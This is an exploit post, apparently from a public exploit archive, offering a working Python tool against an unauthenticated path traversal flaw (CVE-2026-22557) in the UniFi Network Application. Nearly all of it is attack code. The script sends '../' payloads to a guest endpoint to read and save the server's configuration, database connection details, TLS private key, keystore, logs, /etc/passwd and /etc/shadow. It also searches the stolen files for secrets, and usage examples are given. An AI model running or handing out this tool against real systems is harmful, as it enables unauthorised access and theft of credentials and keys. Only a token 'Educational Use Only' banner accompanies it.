Share
## https://sploitus.com/exploit?id=PACKETSTORM:223077
==================================================================================================================================
    | # Title     : UniFi Network 9.0.118 Advanced Unauthenticated Path Traversal                                                    |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://ui.com/                                                                                                  |
    ==================================================================================================================================
    
    [+] Summary    :  security assessment tool targeting a reported path traversal vulnerability (CVE-2026-22557) in the UniFi Network Application. 
                      It attempts to verify whether a UniFi instance is vulnerable to unauthenticated file disclosure through a specific endpoint.
    
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import argparse
    import requests
    import urllib3
    import sys
    import json
    import re
    from urllib.parse import urljoin
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    class UniFiExploit:
        def __init__(self, target: str, site: str = "default", depth: int = 8, verify_ssl: bool = False):
            self.target = target.rstrip('/')
            self.site = site
            self.depth = depth
            self.verify_ssl = verify_ssl
            self.session = requests.Session()
            self.session.headers.update({
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
            })
            self.vuln_endpoint = f"/guest/s/{self.site}/wechat/sign"
            self.sensitive_files = {
                'system.properties': 'opt/unifi/data/system.properties',
                'mongodb.properties': 'opt/unifi/data/mongodb.properties',
                'keystore': 'opt/unifi/data/keystore',
                'server.log': 'opt/unifi/logs/server.log',
                'unifi.log': 'opt/unifi/logs/unifi.log',
                'mongod.log': 'opt/unifi/logs/mongod.log',
                'ssl_cert': 'opt/unifi/cert/cert.pem',
                'ssl_key': 'opt/unifi/cert/key.pem',
                'passwd': 'etc/passwd',
                'hostname': 'etc/hostname',
                'os-release': 'etc/os-release',
            }
        def read_file(self, file_path: str) -> tuple:
            """
            Read a file using Path Traversal
            Returns:
                (success: bool, content: str, error: str)
            """
            traversal = "../" * self.depth
            payload = traversal + file_path.lstrip('/')
            url = urljoin(self.target, self.vuln_endpoint)
            try:
                response = self.session.get(
                    url,
                    params={'page_error': payload},
                    verify=self.verify_ssl,
                    timeout=15
                )
                if response.status_code == 200:
                    content = response.text
                    html_indicators = ['<!DOCTYPE', '<html', '<unifi', '<div', '<body']
                    if any(indicator.lower() in content[:200].lower() for indicator in html_indicators):
                        return False, None, "HTML response (file not found or insufficient depth)"
                    if len(content) > 0:
                        return True, content, None
                    else:
                        return False, None, "File is empty"
                elif response.status_code == 404:
                    return False, None, "File not found (404)"
                else:
                    return False, None, f"HTTP {response.status_code}"
            except requests.exceptions.Timeout:
                return False, None, "Timeout reached"
            except requests.exceptions.ConnectionError as e:
                return False, None, f"Connection error: {e}"
            except Exception as e:
                return False, None, str(e)
        
        def test_vulnerability(self) -> bool:
            """Test whether the target is vulnerable"""
            print(f"[*] Testing vulnerability on {self.target} (Site: {self.site})")
            success, content, error = self.read_file('opt/unifi/data/system.properties')
            if success and content and 'unifi' in content.lower():
                print(f"[+] Target is vulnerable! Vulnerability confirmed.")
                preview = content[:200].replace('\n', ' ').strip()
                print(f"[*] Preview: {preview[:150]}...")
                return True
            else:
                print(f"[-] Target does not appear to be vulnerable: {error}")
                return False
        
        def dump_file(self, file_path: str, output_file: str = None):
            """Read a file and save it locally"""
            print(f"[*] Attempting to read: {file_path}")
            success, content, error = self.read_file(file_path)
            
            if success and content:
                if output_file is None:
                    output_file = file_path.replace('/', '_')
                try:
                    with open(output_file, 'w', encoding='utf-8', errors='ignore') as f:
                        f.write(content)
                    print(f"[+] Saved {len(content)} bytes to {output_file}")
                    return True
                except Exception as e:
                    print(f"[-] Saving error: {e}")
                    return False
            else:
                print(f"[-] Read failed: {error}")
                return False
        def dump_all_sensitive(self, output_dir: str = "unifi_dump"):
            """Read all sensitive files"""
            import os
            os.makedirs(output_dir, exist_ok=True)
            print(f"\n[*] Starting configuration dump to {output_dir}/")
            print("-" * 50)
            results = {}
            for name, path in self.sensitive_files.items():
                output_file = os.path.join(output_dir, name)
                success = self.dump_file(path, output_file)
                results[name] = success
            print("\n" + "=" * 50)
            print("Dump Summary:")
            for name, success in results.items():
                status = "โœ“" if success else "โœ—"
                print(f"  {status} {name}")
            return results
        def search_keywords(self, keywords: list, file_paths: list = None) -> dict:
            """Search for specific keywords within files"""
            if file_paths is None:
                file_paths = list(self.sensitive_files.values())
            results = {}
            for file_path in file_paths:
                success, content, error = self.read_file(file_path)
                if success and content:
                    found = []
                    for keyword in keywords:
                        if keyword.lower() in content.lower():
                            lines = content.split('\n')
                            context = []
                            for i, line in enumerate(lines):
                                if keyword.lower() in line.lower():
                                    context.append(f"  L{i+1}: {line.strip()[:100]}")
                            found.append({
                                'keyword': keyword,
                                'context': context[:3] 
                            })
                    if found:
                        results[file_path] = found
            return results
    def banner():
        print("""
    โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
    โ•‘     CVE-2026-22557 - UniFi Network Path Traversal Exploit        โ•‘
    โ•‘     Unauthenticated File Read - For Educational Use Only         โ•‘
    โ•‘                       by indoushka                               โ•‘
    โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
        """)
    def main():
        banner()
        parser = argparse.ArgumentParser(
            description="Exploiting Path Traversal vulnerability in UniFi Network Application",
            formatter_class=argparse.RawDescriptionHelpFormatter,
            epilog="""
    Usage Examples:
      %(prog)s https://192.168.1.100:8443 --test
      %(prog)s https://192.168.1.100:8443 --read etc/passwd
      %(prog)s https://192.168.1.100:8443 --dump-all
      %(prog)s https://192.168.1.100:8443 --site hotel --read opt/unifi/data/system.properties
      %(prog)s https://192.168.1.100:8443 --search "password,secret,key"
      %(prog)s https://192.168.1.100:8443 --depth 12 --read etc/shadow
      
    Important Sensitive Files:
      โ€ข opt/unifi/data/system.properties  - Main system configurations
      โ€ข opt/unifi/data/mongodb.properties - Database connection details
      โ€ข opt/unifi/data/keystore           - TLS Certificates
      โ€ข opt/unifi/logs/server.log          - Server logs
      โ€ข etc/passwd                        - System users
      โ€ข etc/shadow                        - Encrypted passwords (requires root)
            """
        )
        parser.add_argument("target", help="Target URL (e.g., https://192.168.1.100:8443)")
        parser.add_argument("--site", default="default", help="UniFi site name (Default: default)")
        parser.add_argument("--depth", type=int, default=8, help="Number of ../ repetitions (Default: 8)")
        parser.add_argument("--read", "-r", help="Read a specific file")
        parser.add_argument("--test", action="store_true", help="Test vulnerability status")
        parser.add_argument("--dump-all", action="store_true", help="Dump all sensitive configurations")
        parser.add_argument("--search", "-s", help="Search for keywords (comma-separated)")
        parser.add_argument("--output-dir", "-o", default="unifi_dump", help="Directory to save dumped files")
        parser.add_argument("--insecure", action="store_true", help="Ignore SSL certificate errors")
        parser.add_argument("--list-files", action="store_true", help="Show list of available target files")  
        args = parser.parse_args()
        if args.list_files:
            print("\nTargetable sensitive files:")
            print("-" * 40)
            exploit = UniFiExploit(args.target, args.site, args.depth, args.insecure)
            for name, path in exploit.sensitive_files.items():
                print(f"  {name:20} -> {path}")
            return
        exploit = UniFiExploit(args.target, args.site, args.depth, args.insecure)
        print(f"\n[*] Target: {args.target}")
        print(f"[*] Site: {args.site}")
        print(f"[*] Traversal Depth: {args.depth}")
        print()
    
        if args.test:
            if exploit.test_vulnerability():
                print("\n[!] Target is vulnerable! You can run:")
                print(f"    python3 {sys.argv[0]} {args.target} --read opt/unifi/data/system.properties")
            else:
                print("\n[-] Target might not be vulnerable. Try:")
                print(f"    1. Increasing depth: --depth 12")
                print(f"    2. Changing site name: --site site_name")
                print(f"    3. Verifying URL format and port")
            return
        if args.dump_all:
            exploit.dump_all_sensitive(args.output_dir)
            return
        if args.search:
            keywords = [k.strip() for k in args.search.split(',')]
            print(f"[*] Searching for: {', '.join(keywords)}")
            results = exploit.search_keywords(keywords)
            if results:
                print("\n[+] Search Results:")
                for file_path, found in results.items():
                    print(f"\n   {file_path}:")
                    for item in found:
                        print(f"  '{item['keyword']}':")
                        for line in item['context']:
                            print(f"        {line}")
            else:
                print("[-] No matching results found")
            return
        if args.read:
            exploit.dump_file(args.read)
            return
        parser.print_help()
    if __name__ == "__main__":
        try:
            main()
        except KeyboardInterrupt:
            print("\n[!] Execution stopped by user")
            sys.exit(1)
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================